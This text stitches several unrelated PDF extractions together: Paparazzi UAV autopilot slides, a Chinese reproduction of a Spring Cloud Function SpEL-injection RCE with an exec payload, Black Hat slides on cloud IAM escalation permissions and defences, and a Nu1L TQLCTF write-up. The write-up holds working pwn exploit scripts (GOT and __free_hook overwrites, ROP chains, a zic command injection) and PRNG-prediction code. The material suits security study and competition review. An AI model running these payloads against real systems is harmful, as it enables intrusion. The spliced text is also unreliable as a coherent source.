Pascal Brisset & Antoine Drouin
History
Ecole Nationale de l’Aviation Civile
Toulouse, France
History
Over 60 developers contributing code
several hundred users from 18 countries and
counting
Involved Universities
Competitions
●
JMD03, Toulouse, France : 1st place with the Twinstar
●
EMAV04, Braunschweig, Germany : 1st place with the Microjet
●
JMD04, Toulouse, France : 1st place with the Microjet
●
MAV05, Garmisch, Germany : 4 Paparazzi teams at the first 4 places
●
EMAV06, Braunschweig, Germany : all the teams were equipped with
Paparazzi
●
MAV06, Sandestin, Florida : 2nd and 3rd places
●
MAV07, Toulouse, France : 1st place (tie), 3rd, 4th and 5th places
●
OC09, Queensland, Australia : 1st place robot airborne delivery challenge
●
IMAV2011, Harde, Netherlands : 2nd place outdoor challenge
●
DARPA UAVForge 2011-12 : 3rd place
Missions
2011 Antarctica Finnish Meteorological Institute
Missions
2012 Southern Madagascar multi university
Software - Overview
● Airborne and Ground Segments
● Reconfigurable multi-agent system, small
programs perform simple tasks
Software - Overview
Software - Ground Segment
Software - Ground Segment
Reconfigurable UI (XML)
Software - Airborne Segment
● Modules allow easy addition or replacement
of functionality
● Supports a multitude of sensors and
actuators
● XML-based automatic code generation
allows quick code adaptation for different
vehicle configurations
Software - Airborne Segment
● Complementary and Kalman filter-based
estimators
● PID, PID with FF and adaptive controllers for
attitude, altitude and position control
Software - License
http://paparazzi.github.com
Software - Demo
● Flight in simulator
● Pray to Demo Gods
Hardware - Overview
Classix
ARM7
Tiny
ARM7
Umarim
ARM7
Lisa/L
ARM Cortex-M3
ARM Cortex-A8
Lisa/M
ARM Cortex-M3
Booz
ARM7
● Atmega 8MHz (Dropped 2010)
● 7 TDMI 60MHz (Stable)
● -M3 72MHz (Stable)
● -M4 168MHz+DSP (Upcoming)
Hardware - Architectures
IR Sensor
Booz IMU
Aspirin IMU
Sparkfun IMU
Polulu IMU
Cloudcap IMU
VectorNav IMU
XSens IMU
Developed by the Paparazzi Community OSHW
Third party hardware
Hardware - Sensors
Hardware - System Example
Hardware - License
BY
SA
Hardware - Example Vehicles
Fixed Wing
Dragon Slayer
Miraterre
Flight Systems
UMARS
zhaw
Zürich Switzerland
Perching Airplane
BDML
Stanford CA US
Hardware - Example Vehicles
Multirotor/Rotorcraft
Quady
Transition Robotics
Variable-Pitch Quad
Eric Parsonage
Booz Hexa V
Antoine Drouin
Hardware - Example Vehicles
Transitioning Aircraft
Quadshot
Transition Robotics
Atmov
Atmos TU-Delft
Hardware - Demo
● Pray to Lithium-Polymer Gods
● In the front row?
○ Look for a helmet under your seat
○ Just kidding | pdf |
0x01 应用简介
Spring Cloud Function 是 SpringBoot 开发的一个 Servless 中间件（FAAS），支持基于 SpEL 的函数
式动态路由。
0x02 漏洞复现
测试版本：
测试环境：
第 1 种利用：需要修改配置 + 任意路由
这种利用方式来自 逐日实验室 @默安
1. 修改配置文件，添加 "spring.cloud.function.definition:functionRouter"
2. 任意路由
# v3.2.0
https://github.com/spring-cloud/spring-cloud-function/releases/tag/v3.2.0
1
2
spring-cloud-function-samples/function-sample-pojo
1
application.properties
1
3. 构造 SpEL 注入 payload
4. 测试效果
但是
为了尽可能扩大漏洞的利用价值，能在默认配置下进行利用无疑是我们的首选，于是去啃了会儿官方文
档和相关社区，然后发现一种可在默认配置下进行 RCE 的姿势（暂不确定影响范围）。
已测试版本
第 2 种利用：默认配置 + 特定路由
1. 保持默认配置
2. 特定路由
/aaaa
1
spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("calc")
1
v3.2.0、v3.1.6、v3.0.9
1
application.properties
1
/functionRouter
1
3. 构造 SpEL 注入 payload
4. 测试效果
ps: 为了确保准确性，在该环境测试任意路径
0x03 漏洞分析
补丁分析
spring.cloud.function.routing-
expression: T(java.lang.Runtime).getRuntime().exec("calc")
1
由于第1种已经有人分析了
这里只分析第2种场景：默认配置+特定路由
1
2
org.springframework.cloud.function.context.config.RoutingFunction
在此处下断点后获取到调用栈
然后往下跟踪 & 向上回溯
https://github.com/spring-cloud/spring-cloud-
function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52
1
org.springframework.cloud.function.context.config.RoutingFunction#route
1
route:125, RoutingFunction
(org.springframework.cloud.function.context.config)
apply:85, RoutingFunction
(org.springframework.cloud.function.context.config)
doApply:698, SimpleFunctionRegistry$FunctionInvocationWrapper
(org.springframework.cloud.function.context.catalog)
apply:550, SimpleFunctionRegistry$FunctionInvocationWrapper
(org.springframework.cloud.function.context.catalog)
processRequest:100, FunctionWebRequestProcessingHelper
(org.springframework.cloud.function.web.util)
post:74, FunctionController (org.springframework.cloud.function.web.flux)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
lambda$invoke$0:144, InvocableHandlerMethod
(org.springframework.web.reactive.result.method)
apply:-1, 1875846925
(org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lamb
da$714)
onNext:125, MonoFlatMap$FlatMapMain (reactor.core.publisher)
complete:1816, Operators$MonoSubscriber (reactor.core.publisher)
signal:251, MonoZip$ZipCoordinator (reactor.core.publisher)
onNext:336, MonoZip$ZipInner (reactor.core.publisher)
onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber
(reactor.core.publisher)
onNext:101, FluxDefaultIfEmpty$DefaultIfEmptySubscriber
(reactor.core.publisher)
onNext:79, FluxOnErrorResume$ResumeSubscriber (reactor.core.publisher)
onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
onNext:107, FluxContextWrite$ContextWriteSubscriber (reactor.core.publisher)
onNext:295, FluxMapFuseable$MapFuseableConditionalSubscriber
(reactor.core.publisher)
onNext:337, FluxFilterFuseable$FilterFuseableConditionalSubscriber
(reactor.core.publisher)
complete:1816, Operators$MonoSubscriber (reactor.core.publisher)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
往下跟踪
onComplete:159, MonoCollect$CollectSubscriber (reactor.core.publisher)
onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher)
onComplete:260, FluxPeek$PeekSubscriber (reactor.core.publisher)
onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher)
onInboundComplete:400, FluxReceive (reactor.netty.channel)
onInboundComplete:419, ChannelOperations (reactor.netty.channel)
onInboundNext:590, HttpServerOperations (reactor.netty.http.server)
channelRead:93, ChannelOperationsHandler (reactor.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:264, HttpTrafficHandler (reactor.netty.http.server)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:436,
CombinedChannelDuplexHandler$DelegatingChannelHandlerContext
(io.netty.channel)
fireChannelRead:324, ByteToMessageDecoder (io.netty.handler.codec)
fireChannelRead:311, ByteToMessageDecoder (io.netty.handler.codec)
callDecode:432, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:276, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)
read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:719, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:655, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:581, NioEventLoop (io.netty.channel.nio)
run:493, NioEventLoop (io.netty.channel.nio)
run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:745, Thread (java.lang)
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
org.springframework.cloud.function.context.config.RoutingFunction#route
1
跟进
发现熟悉的身影 expression.getValue()
向上回溯
发现关键字 "functionRouter", 不管是第 1 种还是第 2 种利用姿势，都与 functionRouter 有着莫名的联
系。
...(省略部分调用栈分析)
继续看源码看文档得知，可以通过目录获取对应功能接口的实例
org.springframework.cloud.function.context.config.RoutingFunction#functionFro
mExpression
1
org.springframework.cloud.function.context.config.RoutingFunction#FUNCTION_NA
ME
1
跟进
跟进
跟进
/functionRouter
1
org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelpe
r#findFunction
1
org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelpe
r#doFindFunction
1
org.springframework.cloud.function.context.FunctionCatalog#lookup(java.lang.S
tring, java.lang.String...)
org.springframework.cloud.function.context.catalog.BeanFactoryAwareFunctionRe
gistry#lookup
org.springframework.cloud.function.context.catalog.SimpleFunctionRegistry#doL
ookup
1
2
3
至此已经获取到对应实例，经过一些处理后，执行到
是不是些许熟悉？
跟进
跟进
org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelpe
r#processRequest
1
org.springframework.cloud.function.context.config.RoutingFunction#apply
1
经过以下判断后
触发断点，整个漏洞利用的链路被成功串连。
具体影响范围不详，已测试版本如下
org.springframework.cloud.function.context.config.RoutingFunction#route
1
# false
if (this.routingCallback != null) {...}
# false
if (StringUtils.hasText((String)
message.getHeaders().get("spring.cloud.function.definition"))) {...}
# true
else if (StringUtils.hasText((String)
message.getHeaders().get("spring.cloud.function.routing-expression"))) {...}
1
2
3
4
5
6
v3.0.9
1
参考资料：
v3.1.6
1
v3.2.0
1
https://mp.weixin.qq.com/s/ssHcLC72wZqzt-ei_ZoLwg
1 | pdf |
#BHUSA @BlackHatEvents
IAM The One Who Knocks
Igal Gofman, Noam Dahan
#BHUSA @BlackHatEvents
Information Classification: General
Igal Gofman
@IgalGofman
• Head of Research, Ermetic
• Microsoft MSTIC
• Microsoft security research
• Active Directory expert
Noam Dahan
@NoamDahan
• Cloud security researcher
• Love/hate relationship with embedded
devices
• Offensive background
Whoami
#BHUSA @BlackHatEvents
Information Classification: General
Why are we here?
Background
#BHUSA @BlackHatEvents
Information Classification: General
IAM best practices
•
GCP - Basic roles include thousands of
permissions across all Google Cloud services. In
production environments, do not grant basic roles
unless there is no alternative. Instead, grant the
most limited predefined roles or custom roles that
meet your needs.
•
GCP - Treat each component of your application
as a separate trust boundary.
•
GCP - Grant roles at the smallest scope needed.
https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html
https://cloud.google.com/iam/docs/using-iam-securely
https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices
•
AWS - Apply least-privilege permissions
•
AWS - Use IAM Access Analyzer to generate
least-privilege policies based on access activity
•
AWS - Regularly review and remove unused
users, roles, permissions, policies, and
credentials
•
AWS - Use conditions in IAM policies to further
restrict access
•
Azure - Treat identity as the primary
security perimeter
•
Azure - Use role-based access control
•
Azure - Lower exposure of privileged
accounts
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
• IAM Crash Course
• Cloud IAM weak spots (permissions landscape)
• Things are not always what they seem
• Defense & Monitoring techniques
• Demo
Agenda
#BHUSA @BlackHatEvents
IAM Crash Course
#BHUSA @BlackHatEvents
Information Classification: General
Security Context
•
Users
•
Roles
•
Services account
•
Managed Identity
•
Service principal
IAM Crash Course: IAM 101
(Who?)
Access policy
•
Policy
•
Roles
•
Permissions
•
Scope
(Under which conditions?)
Federation Services
(Who?)
#BHUSA @BlackHatEvents
Information Classification: General
Policies
• AWS
•
Customer Managed
•
Inline
Roles
•
Basic
•
Predefined
•
Custom
IAM Crash Course: Multi-Cloud IAM
Azure
AWS
GCP
Identity
Permissions
Scope
Attach
Assign
Bind
Users
Users
Users
Groups
Groups
Groups
IAM Role
Managed identity
Service Account
AWS SSO directory
Service Principal
Pre-Defined Groups | Special groups
Federated Identities
Federated Identities
Federated Identities
AWS Policy
Customer Managed
Inline policy
Role
(Built-In | Custom)
Role
(Basic | Predefined
Custom)
Scope
Scope
#BHUSA @BlackHatEvents
Information Classification: General
Root Management Group
Azure Active Directory
Management Group
Management Group
Subscription
Subscription
Subscription
Organization
Organization Unit
Organization Unit
Resource Group
Resource Group Resource Group
Master Account
Account
Account
Account
Organization
Folder
Folder
Folder
Folder
Project
Project
Project
IAM Crash Course: Multi-Cloud Organizational Structure
Azure
AWS
GCP
#BHUSA @BlackHatEvents
Cloud IAM weak spot
#BHUSA @BlackHatEvents
Information Classification: General
Cloud IAM weak spot
• Non-human Identities
• Assignment of new permissions
• Code Execution | Task | Template 😇
• Grants and Delegation
• New credentials | secrets
• Encryption & Cryptographic key management
• Organizational policies
IAM weak spots: Permissions landscape
#BHUSA @BlackHatEvents
Information Classification: General
Cloud IAM weak spot
Non-human Identities
IAM weak spots: Non-human Identities
AWS
Role attachment
Azure
Managed Identities
GCP
Service account
#BHUSA @BlackHatEvents
Information Classification: General
Permissions Landscape
Assignment | Code Execution | Grants and Delegation | New credentials
IAM weak spots: Permissions landscape
Assignment
•
Azure - Microsoft.Authorization/roleAssignments/write
•
Azure - Microsoft.Authorization/roleDefinitions/write
•
GCP - iam.roles.update
•
GCP - orgpolicy.policy.set
•
GCP - resourcemanager.projects.setIamPolicy
•
AWS - lambda:AddPermission
•
AWS - iam:AttachUserPolicy
•
AWS - iam:AttachGroupPolicy
•
AWS - iam:AttachRolePolicy
Code Execution
•
AWS - lambda:CreateFunction
•
AWS - lambda:InvokeFunction
•
AWS - lambda:UpdateFunctionConfiguration
•
AWS - cloudformation:CreateStack
•
GCP - cloudscheduler.jobs.create
•
GCP - cloudbuild.builds.create
•
GCP - cloudfunctions.functions.create
•
GCP - cloudfunctions.functions.update
•
GCP - run.services.create
Grants and Delegation
•
GCP - iam.serviceAccounts.implicitDelegation
•
GCP - deploymentmanager.deployments.create
•
GCP - iam.serviceAccounts.actAs
•
AWS - iam:PassRole
•
Azure - Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action
New Credentials
•
AWS - iam:CreateLoginProfile
•
AWS - iam:UpdateLoginProfile
•
AWS - iam:CreateAccessKey
•
GCP - iam.serviceAccountKeys.create
•
GCP - iam.serviceAccounts.signJwt
•
GCP - serviceusage.apiKeys.create
•
GCP - iam.serviceAccounts.getAccessToken
#BHUSA @BlackHatEvents
Things are not always what they seem
#BHUSA @BlackHatEvents
Information Classification: General
Lesson #1: Beware of non-human identities
• How cloud providers handle non-human credentials (Certificates)
• How cloud consumers handle non-human credentials (Short-lived tokens)
• The Instance metadata, local addresses, and environment variables
• Beware of hybrid Instance metadata
Azure use case: Managed identities
#BHUSA @BlackHatEvents
Information Classification: General
•
The Fabric Controller (FC) is a distributed program that manages
the hardware and applications in a cluster internally used by Azure.
Lesson #1: Beware of non-human identities
Azure use case: Managed identities
#BHUSA @BlackHatEvents
Information Classification: General
Lesson #2: Study implementation details
• Serverless code – Are AWS lambda and GCP functions the same?
• Versioning and revision
• Who can access my function code?
• Privilege escalation
AWS vs GCP: Serverless code
#BHUSA @BlackHatEvents
Information Classification: General
Lesson #3: Defaults are a hacker’s best friend
• Why do we need default policies?
• Can we rely on custom policies? (Limitations)
• Service providers best practices?
AWS vs GCP vs Azure: default permissions
#BHUSA @BlackHatEvents
Information Classification: General
Lesson #3: Defaults are a hacker’s best friend
• AWS
• Inherently broad permissions
• “Temporary fix” that becomes permanent
• Look for: ReadOnlyAccess, CloudTrailReadOnlyAccess, PassRole, Network modifiers,
Permission modifiers, AssumeRole escalations
AWS vs GCP vs Azure: default permissions
#BHUSA @BlackHatEvents
Information Classification: General
Lesson #3: Defaults are a hacker’s best friend
• Azure
• Built-in roles… but oh so many of them
• Custom role limits
• Inherited permissions
• Look for: Read permissions, Assignment permissions (self-assignment)
AWS vs GCP vs Azure: default permissions
#BHUSA @BlackHatEvents
Information Classification: General
Lesson #3: Defaults are a hacker’s best friend
• GCP
• Inherited permissions by scope
• Legacy roles have strong and broad permissions (Viewer)
• Legacy mechanism: Access Scopes
AWS vs GCP vs Azure: default permissions
#BHUSA @BlackHatEvents
Practical Practices for Defenders
#BHUSA @BlackHatEvents
Information Classification: General
• Two approaches
• Bottom-up or Top-Down
• Clay is hard à have to know exactly what you need
• Marble is hard à have to prove a negative
• Most people choose Marble, and then never cut down permissions
Clay or Marble
#BHUSA @BlackHatEvents
Information Classification: General
• AWS Account/GCP Project/Azure resource group separation per workload
• Avoid permanent credentials when possible
• Secure human identities
Limit the effect of mistakes
#BHUSA @BlackHatEvents
Information Classification: General
Log more, audit better
• Log whatever you can
• Use audit to build a stronger security policy
• Challenges: opaque APIs and distributed logging
#BHUSA @BlackHatEvents
Information Classification: General
Limits of logging
• The unlogged and the un-loggable:
• Azure read actions, distributed logging
• AWS cross-account actions & failures, passive recon, some data actions, session name
manipulation, CloudTrail manipulation
#BHUSA @BlackHatEvents
DEMO
#BHUSA @BlackHatEvents
Takeaways
#BHUSA @BlackHatEvents
Information Classification: General
Questions? | pdf |
TQLCTF Writeup By Nu1L
Author:Nu1L
TQLCTF Writeup By Nu1L
Pwn
unbelievable_write
nemu
ezvm
timezone_challenge
Reverse
Tales of the Arrow
Misc
wizard
Ranma½
the Ohio State University
wordle
Web
Simple PHP
Crypto
Signature
OTP
Pwn
unbelievable_write
可以任意offset free，free掉tcache pthread struct然后打got
from pwn import *
# s = process("./pwn")
s = remote("119.23.255.127","20144")
s.sendlineafter(">","2")
s.sendline("-656")
# gdb.attach(s,"b c3\nc")
s.sendlineafter(">","1")
s.sendline(str(0x280))
payload = p64(0x404018)*0x40+p64(0x404080)*0x40
s.sendline(payload)
s.sendline("1")
s.sendline(str(0xa0))
elf = ELF("./pwn")
payload = p64(0x4013BE)+p64(0x401040)+p64(0x401050)
nemu
bss上pmem的溢出
在pmem上构造UB chunk然后覆盖line_read, 通过rl_gets()进⾏任意地址free, 在pmem上写⼊libc地址
打free_劫持WP空闲链表, 完成任意地址分配WP对象, 分配到__free_hook
之后利⽤再次覆盖free_为system地址, 利⽤函数free_wp()的链表插⼊操作覆盖hook
再次利⽤任意地址free执⾏cat flag
s.sendline(payload)
s.sendline("1")
s.sendline(str(0x320))
s.sendline("1111")
s.sendline("3")
s.interactive()
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
import requests
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./nemu')
libc = ELF("./libc.so.6")
if(len(sys.argv)==1): #local
cmd = ["./nemu"]
sh = process(cmd)
else: #remtoe
sh = remote("47.107.29.210", 25127)
def GDB():
gdb.attach(sh, '''
set directories ./nemu_source_code/nemu/
telescope 0x86A3FC0
telescope 0x00000000086a3f30
#break make_token
break rl_gets
#conti
''')
def Cmd(n):
sh.sendline(n)
def WriteBss(offset, val):
Cmd('set 0x%x 0x%x'%(offset, val&0xFFFFFFFF))
val>>=32
Cmd('set 0x%x 0x%x'%(offset+4, val))
#get UB chunk in pmem
Cmd("set 0x8 0x101")
Cmd("set 0x108 0x21")
Cmd("set 0x128 0x21")
#free(UB chunk)
Cmd("set 0x8000b60 0x6A3b90")
#leak libc addr
Cmd("x 0x19")
sh.recvuntil('0x00000019\t')
ub_addr = int(sh.recvuntil('\n').strip()+'68', 16) + 0x7F0000000000
Log('ub_addr')
libc.address = ub_addr - 0x3c4c68
Log('libc.address')
#__free_hook => system
pmem = 0x6a3b80
free_ = 0x86A3FC0
WriteBss(free_ - pmem, libc.symbols['__free_hook']-0x8) # free_ = addr
Cmd("w 0") # allocate WP at free_
WriteBss(free_ - pmem, libc.symbols['system']) # free_ = val
Cmd("d 1") # trigger wp->next = free_
# system("cat flag")
Cmd("set 0x400 0x20746163")
Cmd("set 0x404 0x67616c66")
Cmd("set 0x8000b60 0x6A3f80")
sh.interactive()
'''
set 0x8 0x4001
set 0x4008 0x31
set 0x4000 0x4000
set 0x8000b60 0x6A3b90
'''
ezvm
⾃⼰造的open那⾥，strcpy可以off by null改ptr，导致溢出
from pwn import *
context.arch = 'amd64'
def read(fd,addr,size):
sc = '''
xor eax,eax;
push {};
pop rdi;
mov rsi,{};
push {};
pop rdx;
syscall;
'''.format(fd,addr,size)
return sc
def write(fd,addr,size):
sc = '''
push 1;
pop rax;
push {};
pop rdi;
mov rsi,{};
push {};
pop rdx;
syscall;
'''.format(fd,addr,size)
return sc
def close(fd):
sc = '''
push 3;
pop rax;
push {};
pop rdi;
syscall;
'''.format(fd)
return sc
def insert(name_addr,size):
sc = '''
push 2;
pop rax;
mov rdi,{};
push {};
pop rsi;
syscall;
'''.format(name_addr,size)
return sc
def get_name(idx):
return 0x7FFFFFFEF000+0x20*idx
sc = ''
sc += read(0,get_name(0),0x20)
sc += insert(get_name(0),0xb0)#3
sc += read(3,get_name(1),0x100)
sc += write(1,get_name(1),8)
sc += read(0,get_name(2),0x20)
sc += insert(get_name(2),0x100)#4
sc += read(0,get_name(3),0x20)
sc += insert(get_name(3),0xb0)#5
sc += read(0,get_name(4),0x300)
sc += close(5)
sc += close(3)
sc += write(4,get_name(4),0x38)
sc += insert(get_name(0),0xb0)
sc += insert(get_name(3),0xb8)
sc += write(5,get_name(4)+0x38,0xb8)
sc += 'mov rdx,0x100;'
sc = asm(sc)
# s = process("./easyvm",env={'LD_PRELOAD':'./libunicorn.so.1'})
s = remote("120.24.82.252","21545")
# gdb.attach(s,"b *$rebase(0x1720)\nc\nd\nb *$rebase(0x1857)\nc\nc\nd\nb free\nc")
s.sendlineafter('Send your code:',sc)
name = '/dev/a'
s.send(name)
sleep(0.5)
libc = ELF("./libc-2.31.so")
libc.address = u64(s.recvuntil("\x7f")[-6:]+'\x00\x00')-0x1ec1f0
success(hex(libc.address))
s.send('/dev/'.ljust(0x18,'b'))
sleep(0.5)
s.send('/dev/c')
sleep(0.5)
payload =
p64(libc.address+0x0000000000154930)+p64(libc.sym['__free_hook']-0x10)+p64(libc.sym['se
tcontext']+61)
sig = SigreturnFrame()
sig.rsp = libc.bss(0x500)
sig.rip = libc.sym['read']
sig.rdi = 0
timezone_challenge
zic，命令注⼊，构造⼀下绕⼀下就可以了
Reverse
Tales of the Arrow
就给了个gen.txt和output.txt
需要找到⼀组输⼊使得输出是output.txt的内容
⾸先get_lit(i)如果输出1/9/17...这些⼀定是负的 因为是pad出来的0bit位
如果3个输出中有1/9/....那么这个1/9/17这样的肯定是错的，因为肯定是负的，那么剩下两个⾥肯定有⼀个是对
的，另⼀个1/4概率是对的，3/4概率是错的。这样可以最少最少恢复掉2/3的bit，刚好能完全恢复的
sig.rsi = libc.bss(0x500)
sig.rdx = 0x300
sig = str(sig)
payload += sig[0x28:]
s.send('A'*0x28+p64(0x81)+p64(libc.sym['__free_hook'])+payload)
pop_rdi = 0x0000000000026b72+libc.address
pop_rsi = 0x0000000000027529+libc.address
pop_rdx_r12 = 0x000000000011c371 + libc.address
payload = p64(pop_rdi)+p64(libc.bss(0x600))+p64(pop_rsi)+p64(0)+p64(libc.sym['open'])
payload +=
p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0
)+p64(libc.sym['read'])
payload +=
p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0
)+p64(libc.sym['write'])
payload = payload.ljust(0x100)+"./flag\x00"
s.send(payload)
s.interactive()
Rule US 2036 2037 ;cat${IFS}/home/ctf/*; Apr lastSun 2:00 1:00 D
Zone Australia/Adelaide 9:30 US aa
IMDONE
n = int(input())
N = int(input())
x = []
for i in range(N):
Misc
wizard
硬猜
x.append([int(input()),int(input()),int(input())])
Truth = [-8*i-1 for i in range(n//8)]
for i in range(7*n//8):
for j in x:
if ((-j[0] in Truth)+(-j[1] in Truth)+(-j[2] in Truth)==2):
for k in range(3):
if (j[k] not in Truth) and (-j[k] not in Truth):
Truth += [j[k]]
break
else:
continue
break
flag = 0
for i in range(1,n+1):
if i in Truth:
flag = 2*flag+1
else:
flag = 2*flag
print(bytes.fromhex(hex(flag)[2:]))
from pwn import *
import string
import base64
import math
from libnum import *
import gmpy2
import os
import json
# import random
from libnum import xgcd, solve_crt
from tqdm import tqdm
from hashlib import sha256, md5, sha1
from Crypto.Hash import SHA256
from Crypto.PublicKey import DSA
from Crypto.Cipher import AES
from itertools import product
# from sage.all import *
from Crypto.Util.number import *
import randcrack
import random
from sm4 import SM4Key
# r = remote('hiyoko.quals.seccon.jp', '10042')
# # context(log_level='debug')
ALPHABET = string.ascii_letters + string.digits
# rec = r.recvline().decode().replace(' ', '')
# print(rec)
# rec = rec[rec.find('+')+1::]
# suffix = rec[rec.find('+')+1:rec.find(')')]
# digest = rec[rec.find('==')+2:-1]
# print(f"suffix: {suffix} \ndigest: {digest}")
# for i in product(ALPHABET, repeat=5):
# prefix = ''.join(i)
# guess = prefix + suffix
# if md5(guess.encode()).hexdigest()[0:5] == digest:
# log.info(f"Find XXXX: {prefix}")
# break
# r.sendline(prefix.encode())
# r.interactive()
# r.recvline()
while 1:
r = remote('120.79.12.160', '22633')
# context(log_level='debug')
rec = r.recvline().decode().split(' ')
res = rec[-1][:-1]
print(res)
for i in product(ALPHABET, repeat=5):
suffix = ''.join(i)
guess = 'TQLCTF' + suffix
if sha256(guess.encode()).hexdigest()[0:5] == res:
log.info(f"Find XXXX: {suffix}")
break
r.sendline(suffix.encode())
r.recvuntil('Let\'s start!\n')
data = r.recvline().decode()[:-1].split(' ')
n = int(data[2][:-1])
m = int(data[5])
print(m)
if m > 300:
r.sendline('G 233')
res = r.recvline().decode()
if 'wrong' not in res:
Ranma½
使⽤vim打开⽂件看⻅
维吉尼亚
在线爆破下密码
the Ohio State University
⾸先找到原始⽂件
jpg⽂件属性备注⾥⾯发现密码，steghide解密
print(res)
r.interactive()
diff⽐较原始⽂件发现第⼆个密码
⽤密码decode
diff铺⾯⽂件，发现第2305⾏开始不同，此时的note第三位（time）为111533，也就是01:51:533这个时间点，进
osu在edit模式打开这个铺⾯并跳转到这个时间，以拍⼦为单位，把有note的看做1，没有note的看做0，解码即可
解出最后⼀部分5HoWtIme}
wordle
通过easy模式猜词，获得词语id随机序列，拿624个id有~30%的成功率预测后续id。打通insane模式后得flag。
因为远端io太慢，穷举时间很⻓，猜词逐字⺟匹配是⼀个可⽤的策略。
from pwn import *
#context.log_level='debug'
#p=process(["python","main.py"])
p=remote('47.106.102.129',31624)
sl=lambda a:p.sendline(a.encode())
sla=lambda a,b:p.sendlineafter(a.encode(),b.encode())
rcu=lambda a:p.recvuntil(a.encode(),True)
rc=lambda a:p.recv(a)
rcl=lambda:p.recvline().strip()
sla('Insane','0')
with open('valid_words.txt', 'r') as f:
valid_words = [x.strip() for x in f.readlines()]
def findpre(pre):
for id,i in enumerate(valid_words):
if i.startswith(pre):
return id
return -1
def guessit(wd):
sl(wd)
res=rcl()
if res.find(b'Correct')!=-1:
return [1,1,1,1,1,1]
res=res.split(b'Wrong! ')[1]
#res[3] res[15]
return [res[i]==50 for i in range(3,3+5*12,12)]+[0]
def rnd():
#rcu("id")
#print(rcl())
rcu('#')
id=rc(5)
rcl()
#print(id)
id=int(id,16)
pref=''
calcid=lambda i:(id^i)*len(valid_words)+i
for i in range(5):
#print("pre ",pref)
for c in 'abcdefghijklmnopqrstuvwxyz':
gu=pref+c
gugu=findpre(gu)
if gugu==-1:
continue
res=guessit(valid_words[gugu])
if res[5]==1:
# succ
print("done",valid_words[gugu])
return calcid(gugu)
if res[i]==1:
#partial succ
pref=gu
break
#for i,elem in enumerate(valid_words):
#sl(elem)
#res=rcl()
# leak=(id//K)^(id%K)
# know id%K=a
# know id//K=b
# id=b*K+a
#if res.find(b'Correct')!=-1:
# print("fuck ",i,valid_words[i])
# return (id^i)*len(valid_words)+i
guess=[]
for i in range(512):
guess.append(rnd())
print(i)
sla('Insane','0')
for i in range(624-512):
guess.append(rnd())
print(i)
#print(guess)
#for i in range(512):
# sl(valid_words[0])
from randcrack import RandCrack
rck = RandCrack()
for i in guess:
rck.submit(i)
fuck=[rck.predict_randrange(len(valid_words) * (2 ** 20)) for _ in range(512+512)]
[::-1]
#print("id ",id)
#answer = valid_words[id % len(valid_words)]
id = (fuck[-1] // len(valid_words)) ^ (fuck[-1] % len(valid_words))
idp=hex(id)[2:].zfill(5)
rcu('#')
id=rc(5).decode()
rcl()
print(idp,id)
if idp!=id:
print("failed")
assert(0)
context.log_level='debug'
for i in range(512-(624-512)):
x=fuck.pop()
assert(guessit(valid_words[x%len(valid_words)])[5]==1)
if i!=512-(624-512)-1:
rcu('#')
rcl()
print("ok")
Web
Simple PHP
利⽤对字符串取反绕过punctuation的正则
Crypto
Signature
本来以为是GGH signature的paperhttps://cims.nyu.edu/~regev/papers/gghattack.pdf，把问题转成solve
HPP，但复现的代码只能在维度低的时候恢复sk的⼀⾏vector
后⾯想到了祥云杯的⼀道题，那题直接LLL出来就是私钥的线性组合，虽然这题上来我就试了直接LLL，但当时并没
有觉得可⾏，毕竟和sk的form都不⼀样，赛前快结束的时候随便试试，因为pk维度⽐较⾼，换⽤BKZ，
